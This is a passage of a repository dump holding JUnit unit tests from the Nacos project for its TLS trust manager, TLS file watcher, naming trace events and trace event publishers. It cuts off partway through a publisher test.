    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\nimport java.net.URL;\nimport java.security.cert.CertificateException;\nimport java.security.cert.X509Certificate;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SelfTrustManagerTest {\n    \n    @BeforeEach\n    void setUp() throws Exception {\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    }\n    \n    @Test\n    void testTrustManagerSuccess() throws CertificateException {\n        URL url = SelfTrustManagerTest.class.getClassLoader().getResource(\"test-tls-cert.pem\");\n        String path = url.getPath();\n        TrustManager[] actual = SelfTrustManager.trustManager(true, path);\n        assertNotNull(actual);\n        assertEquals(1, actual.length);\n        assertTrue(actual[0] instanceof X509TrustManager);\n        assertFalse(actual[0].getClass().getCanonicalName().startsWith(\"com.alibaba.nacos\"));\n        X509TrustManager x509TrustManager = (X509TrustManager) actual[0];\n        X509Certificate[] certificates = x509TrustManager.getAcceptedIssuers();\n        assertNotNull(certificates);\n        x509TrustManager.checkClientTrusted(certificates, \"a\");\n        x509TrustManager.checkServerTrusted(certificates, \"b\");\n    }\n    \n    @Test\n    void testTrustManagerNonExist() throws CertificateException {\n        TrustManager[] actual = SelfTrustManager.trustManager(true, \"non-exist-cert.pem\");\n        assertNotNull(actual);\n        assertEquals(1, actual.length);\n        assertTrue(actual[0] instanceof X509TrustManager);\n        assertTrue(actual[0].getClass().isAnonymousClass());\n        X509TrustManager x509TrustManager = (X509TrustManager) actual[0];\n        assertNull(x509TrustManager.getAcceptedIssuers());\n        x509TrustManager.checkClientTrusted(null, \"a\");\n        x509TrustManager.checkServerTrusted(null, \"b\");\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/tls/TlsFileWatcherTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\nimport org.mockito.stubbing.Answer;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.Map;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.Mockito.doAnswer;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass TlsFileWatcherTest {\n    \n    static Field watchFilesMapField;\n    \n    static Field fileMd5MapField;\n    \n    static Field serviceField;\n    \n    static Field startedField;\n    \n    File tempFile;\n    \n    @Mock\n    ScheduledExecutorService executorService;\n    \n    @BeforeAll\n    static void setUpBeforeClass()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        watchFilesMapField = TlsFileWatcher.getInstance().getClass().getDeclaredField(\"watchFilesMap\");\n        watchFilesMapField.setAccessible(true);\n        \n        fileMd5MapField = TlsFileWatcher.getInstance().getClass().getDeclaredField(\"fileMd5Map\");\n        fileMd5MapField.setAccessible(true);\n        \n        serviceField = TlsFileWatcher.getInstance().getClass().getDeclaredField(\"service\");\n        serviceField.setAccessible(true);\n        \n        startedField = TlsFileWatcher.getInstance().getClass().getDeclaredField(\"started\");\n        startedField.setAccessible(true);\n    }\n    \n    @BeforeEach\n    void setUp() throws IOException, IllegalAccessException {\n        tempFile = new File(\"test.txt\");\n        tempFile.createNewFile();\n        serviceField.set(TlsFileWatcher.getInstance(), executorService);\n        startedField.set(TlsFileWatcher.getInstance(), new AtomicBoolean(false));\n        Answer<?> answer = invocationOnMock -> {\n            Runnable runnable = (Runnable) invocationOnMock.getArguments()[0];\n            runnable.run();\n            return null;\n        };\n        doAnswer(answer).when(executorService).scheduleAtFixedRate(any(), anyLong(), anyLong(), any());\n    }\n    \n    @AfterEach\n    void tearDown() throws IllegalAccessException {\n        ((Map<?, ?>) watchFilesMapField.get(TlsFileWatcher.getInstance())).clear();\n        ((Map<?, ?>) fileMd5MapField.get(TlsFileWatcher.getInstance())).clear();\n        tempFile.deleteOnExit();\n    }\n    \n    @Test\n    void testAddFileChangeListener1() throws IOException, IllegalAccessException {\n        TlsFileWatcher.getInstance().addFileChangeListener(filePath -> {\n        }, \"not/exist/path\");\n        \n        assertTrue(((Map<?, ?>) watchFilesMapField.get(TlsFileWatcher.getInstance())).isEmpty());\n        assertTrue(((Map<?, ?>) fileMd5MapField.get(TlsFileWatcher.getInstance())).isEmpty());\n    }\n    \n    @Test\n    void testAddFileChangeListener2() throws IOException, IllegalAccessException {\n        TlsFileWatcher.getInstance().addFileChangeListener(filePath -> {\n        }, (String) null);\n        \n        assertTrue(((Map<?, ?>) watchFilesMapField.get(TlsFileWatcher.getInstance())).isEmpty());\n        assertTrue(((Map<?, ?>) fileMd5MapField.get(TlsFileWatcher.getInstance())).isEmpty());\n    }\n    \n    @Test\n    void testAddFileChangeListener3() throws IOException, IllegalAccessException {\n        TlsFileWatcher.getInstance().addFileChangeListener(filePath -> {\n        }, tempFile.getPath());\n        \n        assertEquals(1, ((Map<?, ?>) watchFilesMapField.get(TlsFileWatcher.getInstance())).size());\n        assertEquals(1, ((Map<?, ?>) fileMd5MapField.get(TlsFileWatcher.getInstance())).size());\n    }\n    \n    @Test\n    void testStartGivenTlsFileNotChangeThenNoNotify() throws IllegalAccessException, InterruptedException, IOException {\n        // given\n        AtomicBoolean notified = new AtomicBoolean(false);\n        TlsFileWatcher.getInstance().addFileChangeListener(filePath -> notified.set(true), tempFile.getPath());\n        \n        // when\n        TlsFileWatcher.getInstance().start();\n        \n        // then\n        assertFalse(notified.get());\n    }\n    \n    @Test\n    void testStartGivenTlsFileChangeThenNotifyTheChangeFilePath() throws IllegalAccessException, IOException {\n        // given\n        AtomicBoolean notified = new AtomicBoolean(false);\n        AtomicReference<String> changedFilePath = new AtomicReference<>();\n        TlsFileWatcher.getInstance().addFileChangeListener(filePath -> {\n            notified.set(true);\n            changedFilePath.set(filePath);\n        }, tempFile.getPath());\n        ((Map<String, String>) fileMd5MapField.get(TlsFileWatcher.getInstance())).put(\"test.txt\", \"\");\n        \n        // when\n        TlsFileWatcher.getInstance().start();\n        \n        // then\n        assertTrue(notified.get());\n        assertEquals(\"test.txt\", changedFilePath.get());\n    }\n    \n    @Test\n    void testStartGivenTaskIsAlreadyRunThenNotRunAgain() {\n        TlsFileWatcher.getInstance().start();\n        TlsFileWatcher.getInstance().start();\n        \n        verify(executorService, times(1)).scheduleAtFixedRate(any(), anyLong(), anyLong(), any());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/tls/TlsHelperTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport org.junit.jupiter.api.Test;\n\nimport javax.net.ssl.SSLContext;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass TlsHelperTest {\n    \n    @Test\n    void testBuildSslContext() throws KeyManagementException, NoSuchAlgorithmException {\n        SSLContext actual = TlsHelper.buildSslContext(true);\n        assertNotNull(actual);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/event/naming/HealthStateChangeTraceEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport com.alibaba.nacos.common.trace.HealthCheckType;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\n\nclass HealthStateChangeTraceEventTest extends NamingTraceEventTest {\n    \n    @Test\n    void testHealthStateChangeTraceEventForClientBeat() {\n        HealthStateChangeTraceEvent healthStateChangeTraceEvent = new HealthStateChangeTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME, IP, PORT, false, \"client_beat\");\n        assertBasicInfo(healthStateChangeTraceEvent);\n        assertHealthChangeInfo(healthStateChangeTraceEvent);\n        assertEquals(HealthCheckType.CLIENT_BEAT, healthStateChangeTraceEvent.getHealthCheckType());\n        assertEquals(\"client_beat\", healthStateChangeTraceEvent.getHealthStateChangeReason());\n    }\n    \n    @Test\n    void testHealthStateChangeTraceEventForTcp() {\n        HealthStateChangeTraceEvent healthStateChangeTraceEvent = new HealthStateChangeTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME, IP, PORT, false, \"tcp:unable2connect:\");\n        assertBasicInfo(healthStateChangeTraceEvent);\n        assertHealthChangeInfo(healthStateChangeTraceEvent);\n        assertEquals(HealthCheckType.TCP_SUPER_SENSE, healthStateChangeTraceEvent.getHealthCheckType());\n        assertEquals(\"tcp:unable2connect:\", healthStateChangeTraceEvent.getHealthStateChangeReason());\n    }\n    \n    @Test\n    void testHealthStateChangeTraceEventForHttp() {\n        HealthStateChangeTraceEvent healthStateChangeTraceEvent = new HealthStateChangeTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME, IP, PORT, false, \"http:error:\");\n        assertBasicInfo(healthStateChangeTraceEvent);\n        assertHealthChangeInfo(healthStateChangeTraceEvent);\n        assertEquals(HealthCheckType.HTTP_HEALTH_CHECK, healthStateChangeTraceEvent.getHealthCheckType());\n        assertEquals(\"http:error:\", healthStateChangeTraceEvent.getHealthStateChangeReason());\n    }\n    \n    @Test\n    void testHealthStateChangeTraceEventForMysql() {\n        HealthStateChangeTraceEvent healthStateChangeTraceEvent = new HealthStateChangeTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME, IP, PORT, false, \"mysql:timeout:\");\n        assertBasicInfo(healthStateChangeTraceEvent);\n        assertHealthChangeInfo(healthStateChangeTraceEvent);\n        assertEquals(HealthCheckType.MYSQL_HEALTH_CHECK, healthStateChangeTraceEvent.getHealthCheckType());\n        assertEquals(\"mysql:timeout:\", healthStateChangeTraceEvent.getHealthStateChangeReason());\n    }\n    \n    private void assertHealthChangeInfo(HealthStateChangeTraceEvent event) {\n        assertEquals(\"HEALTH_STATE_CHANGE_TRACE_EVENT\", event.getType());\n        assertEquals(IP, event.getInstanceIp());\n        assertEquals(PORT, event.getInstancePort());\n        assertEquals(IP + \":\" + PORT, event.toInetAddr());\n        assertFalse(event.isHealthy());\n    }\n    \n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/event/naming/InstanceTraceEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport com.alibaba.nacos.common.trace.DeregisterInstanceReason;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstanceTraceEventTest extends NamingTraceEventTest {\n    \n    @Test\n    void testRegisterInstanceTraceEvent() {\n        RegisterInstanceTraceEvent registerInstanceTraceEvent = new RegisterInstanceTraceEvent(TIME, CLIENT_IP, true,\n                NAMESPACE_ID, GROUP_NAME, SERVICE_NAME, IP, PORT);\n        assertBasicInfo(registerInstanceTraceEvent);\n        assertEquals(\"REGISTER_INSTANCE_TRACE_EVENT\", registerInstanceTraceEvent.getType());\n        assertEquals(CLIENT_IP, registerInstanceTraceEvent.getClientIp());\n        assertTrue(registerInstanceTraceEvent.isRpc());\n        assertEquals(IP, registerInstanceTraceEvent.getInstanceIp());\n        assertEquals(PORT, registerInstanceTraceEvent.getInstancePort());\n        assertEquals(IP + \":\" + PORT, registerInstanceTraceEvent.toInetAddr());\n    }\n    \n    @Test\n    void testDeregisterInstanceTraceEvent() {\n        DeregisterInstanceTraceEvent deregisterInstanceTraceEvent = new DeregisterInstanceTraceEvent(TIME, CLIENT_IP, true,\n                DeregisterInstanceReason.NATIVE_DISCONNECTED, NAMESPACE_ID, GROUP_NAME, SERVICE_NAME, IP, PORT);\n        assertBasicInfo(deregisterInstanceTraceEvent);\n        assertEquals(\"DEREGISTER_INSTANCE_TRACE_EVENT\", deregisterInstanceTraceEvent.getType());\n        assertEquals(CLIENT_IP, deregisterInstanceTraceEvent.getClientIp());\n        assertTrue(deregisterInstanceTraceEvent.isRpc());\n        assertEquals(IP, deregisterInstanceTraceEvent.getInstanceIp());\n        assertEquals(PORT, deregisterInstanceTraceEvent.getInstancePort());\n        assertEquals(IP + \":\" + PORT, deregisterInstanceTraceEvent.toInetAddr());\n        assertEquals(DeregisterInstanceReason.NATIVE_DISCONNECTED, deregisterInstanceTraceEvent.getReason());\n    }\n    \n    @Test\n    void testUpdateInstanceTraceEvent() {\n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(\"test1\", \"testValue\");\n        UpdateInstanceTraceEvent updateInstanceTraceEvent = new UpdateInstanceTraceEvent(TIME, CLIENT_IP, NAMESPACE_ID,\n                GROUP_NAME, SERVICE_NAME, IP, PORT, metadata);\n        assertBasicInfo(updateInstanceTraceEvent);\n        assertEquals(\"UPDATE_INSTANCE_TRACE_EVENT\", updateInstanceTraceEvent.getType());\n        assertEquals(CLIENT_IP, updateInstanceTraceEvent.getClientIp());\n        assertEquals(IP, updateInstanceTraceEvent.getInstanceIp());\n        assertEquals(PORT, updateInstanceTraceEvent.getInstancePort());\n        assertEquals(IP + \":\" + PORT, updateInstanceTraceEvent.toInetAddr());\n        assertEquals(metadata, updateInstanceTraceEvent.getMetadata());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/event/naming/NamingTraceEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic class NamingTraceEventTest {\n    \n    protected static final long TIME = System.currentTimeMillis();\n    \n    protected static final String NAMESPACE_ID = \"ns\";\n    \n    protected static final String GROUP_NAME = \"testG\";\n    \n    protected static final String SERVICE_NAME = \"testS\";\n    \n    protected static final String CLUSTER_NAME = \"test_cluster\";\n    \n    protected static final String IP = \"127.0.0.1\";\n    \n    protected static final int PORT = 8848;\n    \n    protected static final String CLIENT_IP = \"1.1.1.1\";\n    \n    protected void assertBasicInfo(NamingTraceEvent event) {\n        assertEquals(TIME, event.getEventTime());\n        assertEquals(NAMESPACE_ID, event.getNamespace());\n        assertEquals(GROUP_NAME, event.getGroup());\n        assertEquals(SERVICE_NAME, event.getName());\n        assertTrue(event.isPluginEvent());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/event/naming/ServiceTraceEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ServiceTraceEventTest extends NamingTraceEventTest {\n    \n    @Test\n    void testRegisterInstanceTraceEvent() {\n        RegisterServiceTraceEvent registerServiceTraceEvent = new RegisterServiceTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME);\n        assertBasicInfo(registerServiceTraceEvent);\n        assertEquals(\"REGISTER_SERVICE_TRACE_EVENT\", registerServiceTraceEvent.getType());\n    }\n    \n    @Test\n    void testDeregisterInstanceTraceEvent() {\n        DeregisterServiceTraceEvent deregisterServiceTraceEvent = new DeregisterServiceTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME);\n        assertBasicInfo(deregisterServiceTraceEvent);\n        assertEquals(\"DEREGISTER_SERVICE_TRACE_EVENT\", deregisterServiceTraceEvent.getType());\n    }\n    \n    @Test\n    void testUpdateInstanceTraceEvent() {\n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(\"test1\", \"testValue\");\n        UpdateServiceTraceEvent updateServiceTraceEvent = new UpdateServiceTraceEvent(TIME, NAMESPACE_ID, GROUP_NAME,\n                SERVICE_NAME, metadata);\n        assertBasicInfo(updateServiceTraceEvent);\n        assertEquals(\"UPDATE_SERVICE_TRACE_EVENT\", updateServiceTraceEvent.getType());\n        assertEquals(metadata, updateServiceTraceEvent.getMetadata());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/event/naming/SubscribeTraceEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass SubscribeTraceEventTest extends NamingTraceEventTest {\n    \n    @Test\n    void testRegisterInstanceTraceEvent() {\n        SubscribeServiceTraceEvent subscribeServiceTraceEvent = new SubscribeServiceTraceEvent(TIME, CLIENT_IP, NAMESPACE_ID,\n                GROUP_NAME, SERVICE_NAME);\n        assertBasicInfo(subscribeServiceTraceEvent);\n        assertEquals(\"SUBSCRIBE_SERVICE_TRACE_EVENT\", subscribeServiceTraceEvent.getType());\n        assertEquals(CLIENT_IP, subscribeServiceTraceEvent.getClientIp());\n    }\n    \n    @Test\n    void testDeregisterInstanceTraceEvent() {\n        UnsubscribeServiceTraceEvent unsubscribeServiceTraceEvent = new UnsubscribeServiceTraceEvent(TIME, CLIENT_IP,\n                NAMESPACE_ID, GROUP_NAME, SERVICE_NAME);\n        assertBasicInfo(unsubscribeServiceTraceEvent);\n        assertEquals(\"UNSUBSCRIBE_SERVICE_TRACE_EVENT\", unsubscribeServiceTraceEvent.getType());\n        assertEquals(CLIENT_IP, unsubscribeServiceTraceEvent.getClientIp());\n    }\n    \n    @Test\n    void testPushServiceTraceEvent() {\n        PushServiceTraceEvent pushServiceTraceEvent = new PushServiceTraceEvent(TIME, 10, 510, 510, CLIENT_IP, NAMESPACE_ID,\n                GROUP_NAME, SERVICE_NAME, 100);\n        assertBasicInfo(pushServiceTraceEvent);\n        assertEquals(\"PUSH_SERVICE_TRACE_EVENT\", pushServiceTraceEvent.getType());\n        assertEquals(CLIENT_IP, pushServiceTraceEvent.getClientIp());\n        assertEquals(10L, pushServiceTraceEvent.getPushCostTimeForNetWork());\n        assertEquals(510L, pushServiceTraceEvent.getPushCostTimeForAll());\n        assertEquals(510L, pushServiceTraceEvent.getServiceLevelAgreementTime());\n        assertEquals(100, pushServiceTraceEvent.getInstanceSize());\n        \n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/publisher/TraceEventPublisherFactoryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.publisher;\n\nimport com.alibaba.nacos.common.notify.EventPublisher;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass TraceEventPublisherFactoryTest {\n    \n    private Map<String, EventPublisher> originalEventPublisherMap;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        originalEventPublisherMap = new HashMap<>(NotifyCenter.getPublisherMap());\n        NotifyCenter.getPublisherMap().clear();\n        // Protect other unit test publisher affect this case.\n        Field field = TraceEventPublisherFactory.class.getDeclaredField(\"publisher\");\n        field.setAccessible(true);\n        Map map = (Map) field.get(TraceEventPublisherFactory.getInstance());\n        map.clear();\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        NotifyCenter.getPublisherMap().clear();\n        NotifyCenter.getPublisherMap().putAll(originalEventPublisherMap);\n        originalEventPublisherMap = null;\n    }\n    \n    @Test\n    void testApply() {\n        TraceEventPublisherFactory.getInstance().apply(TraceTestEvent.TraceTestEvent1.class, Byte.SIZE);\n        TraceEventPublisherFactory.getInstance().apply(TraceTestEvent.TraceTestEvent2.class, Byte.SIZE);\n        TraceEventPublisherFactory.getInstance().apply(TraceTestEvent.class, Byte.SIZE);\n        String expectedStatus = \"Trace event publisher statues:\\n\"\n                + \"\\tPublisher TraceEvent                    : shutdown=false, queue=      0/8      \\n\";\n        assertEquals(expectedStatus, TraceEventPublisherFactory.getInstance().getAllPublisherStatues());\n    }\n    \n    @Test\n    void testApplyAfterAddEventType() {\n        TraceEventPublisherFactory.getInstance().addPublisherEvent(TraceTestEvent.class);\n        TraceEventPublisherFactory.getInstance().apply(TraceTestEvent.TraceTestEvent1.class, Byte.SIZE);\n        TraceEventPublisherFactory.getInstance().apply(TraceTestEvent.TraceTestEvent2.class, Byte.SIZE);\n        TraceEventPublisherFactory.getInstance().apply(TraceTestEvent.class, Byte.SIZE);\n        String expectedStatus = \"Trace event publisher statues:\\n\"\n                + \"\\tPublisher TraceTestEvent                : shutdown=false, queue=      0/8      \\n\";\n        assertEquals(expectedStatus, TraceEventPublisherFactory.getInstance().getAllPublisherStatues());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/publisher/TraceEventPublisherTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.publisher;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass TraceEventPublisherTest {\n    \n    @Mock\n    private Subscriber subscriber;\n    \n    @Mock\n    private SmartSubscriber smartSubscriber;\n    \n    private TraceEventPublisher traceEventPublisher;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        traceEventPublisher = new TraceEventPublisher();\n        traceEventPublisher.init(TraceTestEvent.class, Byte.SIZE);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        traceEventPublisher.shutdown();\n    }\n    \n    @Test\n    void testAddSubscriber() {\n        when(subscriber.subscribeType()).thenReturn(TraceTestEvent.TraceTestEvent1.class);\n        traceEventPublisher.addSubscriber(subscriber);\n        traceEventPublisher.addSubscriber(smartSubscriber, TraceTestEvent.TraceTestEvent2.class);\n        TraceTestEvent.TraceTestEvent1 traceTestEvent1 = new TraceTestEvent.TraceTestEvent1();\n        TraceTestEvent.TraceTestEvent2 traceTestEvent2 = new TraceTestEvent.TraceTestEvent2();\n        traceEventPublisher.publish(traceTestEvent1);\n        traceEventPublisher.publish(traceTestEvent2);\n        ThreadUtils.sleep(2000L);\n        verify(subscriber).onEvent(traceTestEvent1);\n        verify(smartSubscriber).onEvent(traceTestEvent2);\n    }\n    \n    @Test\n    void testRemoveSubscriber() {\n        traceEventPublisher.addSubscriber(subscriber, TraceTestEvent.TraceTestEvent1.class);\n        traceEventPublisher.addSubscriber(smartSubscriber, TraceTestEvent.TraceTestEvent1.class);\n        TraceTestEvent.TraceTestEvent1 traceTestEvent1 = new TraceTestEvent.TraceTestEvent1();\n        traceEventPublisher.publish(traceTestEvent1);\n        ThreadUtils.sleep(2000L);\n        verify(subscriber).onEvent(traceTestEvent1);\n        verify(smartSubscriber).onEvent(traceTestEvent1);\n        traceEventPublisher.removeSubscriber(smartSubscriber, TraceTestEvent.TraceTestEvent1.class);\n        traceTestEvent1 = new TraceTestEvent.TraceTestEvent1();\n        traceEventPublisher.publish(traceTestEvent1);\n        ThreadUtils.sleep(500L);\n        verify(subscriber).onEvent(traceTestEvent1);\n        verify(smartSubscriber, never()).onEvent(traceTestEvent1);\n        reset(subscriber);\n        